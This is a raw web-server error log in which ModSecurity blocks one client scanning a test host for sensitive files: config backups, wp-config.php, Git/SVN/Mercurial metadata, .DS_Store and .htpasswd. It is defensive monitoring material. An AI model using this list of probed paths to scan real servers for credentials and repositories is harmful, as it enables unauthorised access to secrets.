&quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QlAAAAAU&quot;]
[Thu Feb 26 01:03:36.930968 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QlAAAAAU&quot;]
[Thu Feb 26 01:03:36.931131 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/config.bak&quot;] [unique_id &quot;aZ-N2Ck1SHHL9bIjTI-QlAAAAAU&quot;]
[Thu Feb 26 01:03:36.931399 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wordpress/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElpwAAAAM&quot;]
[Thu Feb 26 01:03:36.931664 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElpwAAAAM&quot;]
[Thu Feb 26 01:03:36.931836 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aZ-N2A3HqGC30X9HPoElpwAAAAM&quot;]
[Thu Feb 26 01:03:37.015596 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wordpress/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QlwAAAAU&quot;]
[Thu Feb 26 01:03:37.015825 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QlwAAAAU&quot;]
[Thu Feb 26 01:03:37.015975 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/wp-config.php&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QlwAAAAU&quot;]
[Thu Feb 26 01:03:37.038897 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqQAAAAM&quot;]
[Thu Feb 26 01:03:37.039124 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqQAAAAM&quot;]
[Thu Feb 26 01:03:37.039328 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqQAAAAM&quot;]
[Thu Feb 26 01:03:37.081783 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqgAAAAM&quot;]
[Thu Feb 26 01:03:37.082036 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqgAAAAM&quot;]
[Thu Feb 26 01:03:37.082190 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqgAAAAM&quot;]
[Thu Feb 26 01:03:37.085651 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmQAAAAU&quot;]
[Thu Feb 26 01:03:37.085876 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmQAAAAU&quot;]
[Thu Feb 26 01:03:37.086021 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmQAAAAU&quot;]
[Thu Feb 26 01:03:37.106726 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqwAAAAM&quot;]
[Thu Feb 26 01:03:37.106946 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqwAAAAM&quot;]
[Thu Feb 26 01:03:37.107092 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElqwAAAAM&quot;]
[Thu Feb 26 01:03:37.114757 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmgAAAAU&quot;]
[Thu Feb 26 01:03:37.114978 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmgAAAAU&quot;]
[Thu Feb 26 01:03:37.115121 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmgAAAAU&quot;]
[Thu Feb 26 01:03:37.136451 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmwAAAAU&quot;]
[Thu Feb 26 01:03:37.136668 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmwAAAAU&quot;]
[Thu Feb 26 01:03:37.136808 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/hgrc&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QmwAAAAU&quot;]
[Thu Feb 26 01:03:37.141436 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrAAAAAM&quot;]
[Thu Feb 26 01:03:37.141643 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrAAAAAM&quot;]
[Thu Feb 26 01:03:37.141784 2026] [:error] [pid 2330791] [client 185.177.72.22:11412] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ-N2Q3HqGC30X9HPoElrAAAAAM&quot;]
[Thu Feb 26 01:03:37.170004 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QnAAAAAU&quot;]
[Thu Feb 26 01:03:37.170249 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QnAAAAAU&quot;]
[Thu Feb 26 01:03:37.170428 2026] [:error] [pid 2330812] [client 185.177.72.22:11416] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aZ-N2Sk1SHHL9bIjTI-QnAAAAAU&quot;]
[Thu Feb 26 01:03:37.177114 2026] [authz_core:error] [pid 2330791] [client 185.177.72.22:11412] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htpasswd
